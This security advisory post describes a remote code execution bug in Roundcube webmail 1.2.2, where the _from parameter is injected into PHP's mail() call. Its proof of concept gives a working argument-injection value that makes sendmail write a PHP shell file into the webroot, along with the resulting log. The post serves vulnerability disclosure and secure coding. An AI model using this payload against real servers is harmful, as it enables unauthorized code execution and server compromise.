Roundcube is a widely distributed open-source webmail software used by many organizations and companies around the globe. The mirror on SourceForge, for example, counts more than 260,000 downloads in the last 12 months¹ which is only a small fraction of the actual users. Once Roundcube is installed on a server, it provides a web interface for authenticated users to send and receive emails with their web browser.

In this post, we show how a malicious user can remotely execute arbitrary commands on the underlying operating system, simply by writing an email in Roundcube 1.2.2 (>= 1.0). This vulnerability is highly critical because all default installations are affected. We urge all administrators to update the Roundcube installation to the latest version 1.2.3 as soon as possible.

RIPS Analysis

It took RIPS exactly 25 seconds to fully analyze the whole application and to detect the security vulnerabilities shown in the charts above. Although it seems that the issues come in numbers, many of them turned out to be less severe because they were parts of the installation module or of dead legacy code. Regardless, it is adviced to also fix these vulnerabilities and to remove the dead code in order to prevent future unsafe use or combinations with other security bugs, as demonstrated in earlier posts of our advent calendar.

The truncated analysis results are available in our RIPS demo application. Please note that we limited the results to the issues described in this post in order to ensure a fix is available.

Requirements

The vulnerability has the following requirements for exploitation:

• Roundcube must be configured to use PHP’s mail() function (by default, if no SMTP was specified ² )
• PHP’s mail() function is configured to use sendmail (by default, see sendmail_path ³ )
• PHP is configured to have safe_mode turned off (by default, see safe_mode ⁴ )
• An attacker must know or guess the absolute path of the webroot

These requirements are not particular demanding which in turn means that there were a lot of vulnerable systems in the wild.

Description

In Roundcube 1.2.2 and earlier, user-controlled input flows unsanitized into the fifth argument of a call to PHP’s built-in function mail() which is documented as critical in terms of security. The problem is that the invocation of the mail() function will cause PHP to execute the sendmail program. The fifth argument allows passing additional parameters to this execution which allows a configuration of sendmail. Since sendmail offers the -X option to log all mail traffic in a file, an attacker can abuse this option and spawn a malicious PHP file in the webroot directory of the attacked server. Although this vulnerability is rare and not widely known, RIPS detected it within seconds. The following code lines trigger the vulnerability.

program/steps/mail/sendmail.inc

909192

$from = rcube_utils::get_input_value('_from', rcube_utils::INPUT_POST, true, $message_charset);
⋮
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);

Here, the value of the POST parameter _from is fetched and Roundcube’s deliver_message() method is invoked with the value used as second argument $from.

program/lib/Roundcube/rcube.php

157815791580158115821583

public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
    ⋮
    if (filter_var(ini_get('safe_mode'), FILTER_VALIDATE_BOOLEAN))
        $sent = mail($to, $subject, $msg_body, $header_str);
    else
        $sent = mail($to, $subject, $msg_body, $header_str, "-f$from");

This method will then pass the $from parameter to a call of the mail() function. The idea is to pass a custom from header to the sendmail program via the -f option.

Insufficient Sanitization

An interesting part is that it seems as if the from e-mail address is filtered beforehand with a regular expression. Basically, the $from parameter is expected to have no whitespaces which would limit the possibility to attach other parameters behind the -f parameter. Using whitespace constants such as $IFS or injecting new shell commands ` does not succeed at this point. However, there is a logical flaw in the application that causes the sanitization to fail.

program/steps/mail/sendmail.inc

104105106107108109

else if ($from_string = rcmail_email_input_format($from)) {
    if (preg_match('/(\S+@\S+)/', $from_string, $m))
        $from = trim($m[1], '<>');
    else
        $from = null;
}

In line 105, an email is extracted from the user-controlled variable $from that contains no whitespaces. However, this extraction only takes place when the rcmail_email_input_format() function returns a value equivalent to TRUE. In the following, we will examine this function closely.

program/steps/mail/sendmail.inc

850851852853854855856857858859860861862863864865866867868869870871872873874875876877

function rcmail_email_input_format($mailto, $count=false, $check=true)
{
    global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
    // simplified email regexp, supporting quoted local part
    $email_regexp = '(\S+|("[^"]+"))@\S+';
    ⋮
    // replace new lines and strip ending ', ', make address input more valid
    $mailto = trim(preg_replace($regexp, $replace, $mailto));
    $items  = rcube_utils::explode_quoted_string($delim, $mailto);
    $result = array();
    foreach ($items as $item) {
        $item = trim($item);
        // address in brackets without name (do nothing)
        if (preg_match('/^<'.$email_regexp.'>$/', $item)) {
            $item     = rcube_utils::idn_to_ascii(trim($item, '<>'));
            $result[] = $item;
        }
        ⋮
        else if (trim($item)) {
            continue;
        }
        ⋮
    }
    if ($count) {
        $RECIPIENT_COUNT += count($result);
    }
    return implode(', ', $result);
}

The function uses another regular expression in line 863 which requires that the line ends ($) right after the email match. A payload used by an attacker does not have to match this regex and therefore the array $result will stay empty after the foreach loop. In this case, the implode() function in line 876 will return an empty string (equal to FALSE) and the $from variable is not altered nor sanitized.

Proof of Concept

When an email is sent with Roundcube, the HTTP request can be intercepted and altered. Here, the _from parameter can be modified in order to place a malicious PHP file on the file system.

1

[email protected] -OQueueDirectory=/tmp -X/var/www/html/rce.php

This allows an attacker to spawn a shell file rce.php in the web root directory with the contents of the _subject parameter that can contain PHP code. After performing the request, a file with the following content is created:

 1 2 3 4 5 6 7 8 9101112131415161718

04731 >>> "Recipient names must be specified"
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: [email protected] -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: [email protected] -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<<
04731 <<< Funny e-mail message
04731 <<< [EOF]

Since the email data is unencoded, the subject parameter will be reflected in plaintext which allows the injection of PHP tags into the shell file.

Time Line

Summary

Roundcube 1.2.2 is resistant against many attack vectors and a large community works on the software continuously together securing the application. However, the vulnerability described in this post could slip through and is an edge-case due to its rarity. With the aid of automated testing, it is not only possible to detect such edge-cases, but it allows to save human resources and therefore focus on different aspects in the development process of a secure web application.

We would like to thank the Roundcube team for the very quick fix after just one day, and the new release made available only after one week! This is a very impressive and professional response towards security issues.

APAV Time Table